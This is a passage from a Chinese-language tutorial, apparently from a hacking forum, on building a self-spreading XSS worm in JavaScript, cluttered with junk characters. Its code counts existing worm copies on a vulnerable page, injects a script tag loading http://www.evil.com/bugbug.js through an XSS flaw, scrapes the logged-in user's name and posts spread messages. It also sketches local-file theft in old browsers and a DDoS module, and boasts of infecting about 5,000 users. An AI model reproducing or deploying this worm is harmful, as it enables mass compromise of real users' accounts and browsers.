- j! n; N( w* w) f3 O: G if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
& a3 D2 q" w2 I. s" g3 m C6 K3 q- M4 ~& L
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
) ]& p ?- U$ E, i+ u7 h D2 S- i, @: s复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
/ A! e8 z: R6 }复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
3 y {4 _8 F$ N( C! }" a复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.+ m! m* G& b" B
( h9 q- I3 z9 I, S3 axmlHttpReq.send(null);+ K- y6 W: A, a( S/ U) p% @
- S: p" w( u; Q7 q
var resource = xmlHttpReq.responseText;0 k" X( r" E4 U. e, ]' F9 m
, ^* V+ D) D/ J, L
var id=0;var result;: s8 n0 R- `+ q3 c: O9 u9 F7 T
1 O0 ?- t- F h; J
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
- H6 K+ G# G4 R
: O; u; j: J& ]# g z# dwhile ((result = patt.exec(resource)) != null) {
) `/ F7 F) x" P# A n3 X4 L( d2 U, d/ E" _ M# M0 r
id++;) M; ~* N; }+ ]( u1 k
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复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.7 u) Q( X& e6 U) ?
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no=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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1 H# F h% E: Mvar post="wd="+wd;5 W9 d, d: S! h# d5 T" o3 \2 e
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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$ b) g) | t5 [" L/ P0 xxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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b: v `0 b8 t) m/ F3 ?/ SxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");4 V8 z/ b% c; P/ r5 [# {5 q
& \: _5 O+ g& j& c- J6 r. h$ `- PxmlHttpReq.send(post);4 @: }; E5 O `* [. [" y9 b* s* t3 ^# }
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}
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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' I+ i9 b u' _$ Zvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);7 p9 J0 } t- @: ]; H
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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" F$ \7 X4 {& {. ?/ S# a, S' ~( |& {) WxmlHttpReq.setRequestHeader("content-length",post.length);
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/ i* y7 i* m; ~" E' Y4 R# j% s* [8 O3 xxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post); //把传播的信息 POST出去.
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------9 I4 G6 h5 h i8 e% m$ Z" f, x
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, {( F6 B6 ~6 [; z, E, y本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户." _7 Q2 b4 n3 n9 }. d4 j3 y: E
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
" o- Z6 c, y. s+ t% O9 j) V8 Q操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.7 ]$ `& L1 O, n" t( Y
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# U8 g7 R F7 f5 \2 d* g本文引用文档资料:8 ^5 M* D; ~# S0 C' F* @
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005): L, Y( o) X3 G, v, R# K2 p
Other XmlHttpRequest tricks (Amit Klein, January 2003)9 ?& ], i% G1 y2 p0 _1 c' q- Y
"Cross Site Tracing" (Jeremiah Grossman, January 2003)9 Y% S& r1 M8 J* O7 i' j
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog0 z$ X- @) e; Q* i; B$ ?
空虚浪子心BLOG http://www.inbreak.net
G# b; A* [- UXeye Team http://xeye.us/
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